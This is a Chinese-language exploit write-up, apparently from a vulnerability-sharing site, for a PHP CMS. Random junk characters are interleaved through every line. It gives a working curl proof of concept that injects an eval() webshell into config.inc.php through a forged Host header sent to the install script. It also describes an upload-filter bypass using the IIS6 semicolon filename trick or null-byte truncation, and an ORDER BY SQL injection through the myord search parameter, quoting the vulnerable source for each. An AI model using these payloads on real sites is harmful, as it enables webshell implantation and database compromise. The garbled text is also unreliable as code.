注入:
. D4 ?* a; V2 q* c0 s9 A$ h! h8 p, s# f3 c) j/ c. m( p8 A
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
1 Y4 q5 O/ t# T3 x- R9 n% H : D b3 ]; s8 m
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
7 ]$ j8 p) {3 @) p" e( a R鸡肋2: 有一定安全常识的站长都会删掉 install 目录
- v' I8 ]6 }- C% S
1 M0 T8 N2 @1 u) X虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响; J B! |# @$ y* z) S
7 t! O2 r. s; w @1 q& d1 N
分析:5 `& N+ V/ Y9 i: m
& F' T- k- p o. b% u5 x
; q+ k0 _ N) _, F; x4 @3 I! b$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
+ g- g- E& Y% n: v ; F7 W. O- r8 o# |# O6 ^. k
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
L/ Z& d: k5 o* o9 ^1 ]* v $filestr=str_replace(" ","",$filestr);; y$ V* s9 D t7 o# m( @) q2 M
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
3 P& N' C' T9 u $filestr=str_replace("DefaultDbName",$dbname,$filestr);
5 q7 u0 z8 {+ S; e; c' v( q $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
' [, B7 c$ I6 Y5 b $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
; q B5 B7 c) m* o0 f! ], @ $filestr=str_replace("DefaultsLan","zh_cn",$filestr);7 D7 G1 X/ J& U4 q9 j1 {
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);( I/ U8 m a7 Y- y0 k# E
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);8 t6 |; v( A) G
6 z( f& ]- K" c( x4 M! b, L( |0 G fwrite(fopen($ConFile,"w"),$filestr,30000);* ~' s4 [. t7 ]5 j! S; Y7 _
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
0 L5 o& n" K2 M/ A! u' I8 F c( J0 ^ . ]% i1 G" Y' z! K% k
poc:
8 A- W; S& ^2 e2 M
% k7 i0 ~, i' q, t?
* B$ P; I3 o9 `1
* R. m: o7 N" d# z: Ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ n; \* I' v1 c0 O
shell地址: /config.inc.php
& Q5 F" C7 v' X N4 z' V跟之前的 phpcms一样 需要远程数据库
+ }& H E/ O/ e: o$ B' U' V, \4 y
' G$ j7 a) l0 q. x [$ Q——————————————————–
. e! t% f. g$ {0 I& V* U上传漏洞(需要进后台):1 d% {8 Y; v5 V* X
漏洞文件: /kedit/upload_cgi/upload.php- g2 D/ ^7 X' t( }2 F
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用3 {2 e. A. j+ N% Z& L
, k# J2 j2 J) o( c
( ]$ b6 U$ B0 R! q( z: A
<?php
$ |4 Y& G$ K8 m7 N define("ROOTPATH", "../../");% S' F0 |+ t" z1 Z
include(ROOTPATH."includes/admin.inc.php");+ y" ?* b; g" `1 V/ Y5 P* u. j+ ?
NeedAuth(0);
7 _9 J; W8 ?$ l+ C) P7 `
$ H& {8 \8 v6 S" D1 w1 j( H $dt=date("Ymd",time());
V) A) q" @- k2 Y$ A# c/ a if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){/ p. ^! g* X8 v) n6 [4 b t( x( G
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
# a, p$ r- @$ P4 } }# o' j |" y3 x+ |
# H) x, D$ d! {+ u5 U5 {$ U9 v
//文件保存目录路径
( \- P0 t9 T4 T2 \ $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
$ J& c2 e I t- A4 w" V echo $save_path;
( T( _ G+ o, A //文件保存目录URL6 j- {9 j3 z* {. J% ]6 S* `
$save_url = '../../'.$_POST['attachPath'].$dt.'/';, D8 A: { d6 G$ N0 e
% F- `8 S+ O1 g: l
//定义允许上传的文件扩展名: M$ K( @3 |/ F& j' v) f
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
: c4 H9 C3 w' @" X
a W% C8 u+ J2 O6 Z //最大文件大小
* L4 C& d u3 ^8 n4 Y; @% C l $max_size = 1000000;
2 @0 S. z7 h/ `; K1 K: }: X6 [ 1 c9 C: R# O8 M) a8 n& T) |
//更改目录权限3 C2 z3 O( u7 t6 [
@mkdir($save_path, 0777);2 F9 y3 ^9 Y. r( a1 ?% G
$ H& e6 j% M8 z% a# }7 K, ~1 q8 \
//文件的全部路径6 S9 {& q9 L8 H* U7 z9 s
$file_path = $save_path.$_POST['fileName']; //保存文件名
* N' r# z# I5 E/ \2 Y0 m& A7 N Z, J ! y% N( L. A: S7 {! b& ? j
//文件URL
2 N$ t9 s+ S2 K $file_url = $save_url.$_POST['fileName'];
, y, t h, Z, y! [1 c+ i3 S4 E1 W//有上传文件时9 s& V( T7 \' u( _( g7 a
if (empty($_FILES) === false) {, |' y8 D6 D8 Y/ Q" w! n
3 _: b7 j- M$ U# k" Z //原文件名, U2 l, Q7 s1 `0 t. k
$file_name = $_FILES['fileData']['name'];8 [+ G/ O4 B4 _) _7 A- {# \3 M
//服务器上临时文件名
& o+ {8 N! o2 J3 W $tmp_name = $_FILES['fileData']['tmp_name'];* H9 l9 K' v- E9 \* p6 n' j7 ^8 Q
//文件大小
3 Q! ?: D+ I$ x$ ?2 }2 H7 q+ v9 B1 n) Z) Y $file_size = $_FILES['fileData']['size'];( N& k4 f) B3 N* M
//检查目录( H& W8 J( l. t$ p0 ?
if (@is_dir($save_path) === false) {
7 q% B" T$ G' h7 x# I0 ~, ?& A alert("上传目录不存在。");6 s8 ^1 P$ o) k6 r0 n
}
/ v9 b4 X5 G) u8 Z9 l, y //检查目录写权限
) k) Q& c C( U3 H6 Z if (@is_writable($save_path) === false) {
* ?- S1 {$ H& M# T6 y* N$ N alert("上传目录没有写权限。");
. _' c7 u5 V6 @# v- I- v }
, `0 m) i. P% j //检查是否已上传5 ?& q# A* `9 q- g( r) B
if (@is_uploaded_file($tmp_name) === false) {# U% ], [/ F% c8 U) z8 X3 Y G6 K
alert("临时文件可能不是上传文件。");3 h+ w ^$ ? i$ n0 l
}5 U, r9 \; f3 U2 X5 |
//检查文件大小 E- g# X1 B. ~8 P9 Y/ `
if ($file_size > $max_size) {
* B( j K3 X9 y' W alert("上传文件大小超过限制。");
. ?& X* _" J0 j# i7 s9 J% ] }
3 h5 Z0 [" j: Q4 u //获得文件扩展名
9 q ^( `2 S; |2 T% H $temp_arr = explode(".", $_POST['fileName']);, y( N1 ]+ g ]- P7 w6 }; Z
$file_ext = array_pop($temp_arr);
; G6 G N7 o- k4 S8 p8 C $file_ext = trim($file_ext);4 x$ c% J* T8 L8 u. X/ _5 {* Y
$file_ext = strtolower($file_ext);
; l9 S' \+ F# O9 g. p+ q3 I' O# R 9 R2 X ^0 a: V* a$ W
//检查扩展名
/ d' B8 i" @2 V) Z+ w if (in_array($file_ext, $ext_arr) === false) { : @7 h5 U1 l/ [* ]) z) C
alert("上传文件扩展名是不允许的扩展名。");
# y( b6 I% O4 w }
6 Q( K# ^) f1 ~& y 7 K$ c+ T+ t' H: A# W c. z
//移动文件
5 e5 l* U) f B( @ //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
6 a! m* H$ i1 J. c& ?# `- A5 O if (move_uploaded_file($tmp_name, $file_path) === false) {
# J V7 L4 n3 r# e: w! L alert("上传文件失败。");
' }& k1 {& M2 w/ P* d; w }
6 O" \7 a" |. ]7 K ! p0 C2 y0 Z( v2 k5 \2 O
@chmod($file_path,0666);) V" ^; l9 P0 Y6 ^6 i! x
6 `( W8 @/ g+ N( y( {0 O& C3 G* e
?>; B! C- `/ Y$ j, |; M
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: [! M# {- G3 l, `% F
9 `! U3 h) m; u; Z; a1 @
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
6 B7 F i" n3 ]" m
/ J) q, U* M9 u+ b d——————————————————
! I" [/ `- @. O. E/ {注入漏洞:' d0 c8 ?; ]( r! ~! N: e
漏洞文件:search/module/search.php; q; {0 S/ Q2 \8 r0 z
/search/index.php?key=1&myord=1 [sqlinjection]
( _- t0 c/ q' f z' T; C
8 | @1 ^& j# j4 O" r . _/ r6 z8 N% z+ S1 I0 c
<?php
2 I; h ?" s) x- n8 {* s // ... 省略 n 行...7 O4 O9 C2 ~5 I- f
//第18行:
! R- L% }/ m& T/ x $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响6 z. q5 X( i5 ]* k
$page=htmlspecialchars($_GET["page"]);/ j9 M8 o$ T5 l s. o
$myord=htmlspecialchars($_GET["myord"]);
; @& X! j. h$ G+ o z, l $ e" U& b) C8 o! ?) B
// ... 省略 n 行...
6 ^2 O/ `. I: ?" k+ ?+ C( n $key,$myord 两个参数带入查询) M: ?" f8 D! h( x6 ]
//第47行 $key:
* I' x) h; } ^ Y( L' n+ K
\ D1 a" _- x! Z5 t; M $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过.. v2 c6 \& A+ K. d
P0 ?6 \, L" G& B9 q5 J //第197行 $myord. g9 s: a% y1 F7 p. A2 |. l
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
. ~( d' h9 h) H3 o" K9 f
7 C. D" u Z ~5 F4 P! Z# S/ t ?>
+ f. k( b, j9 ]; k$ y0 E+ G9 b |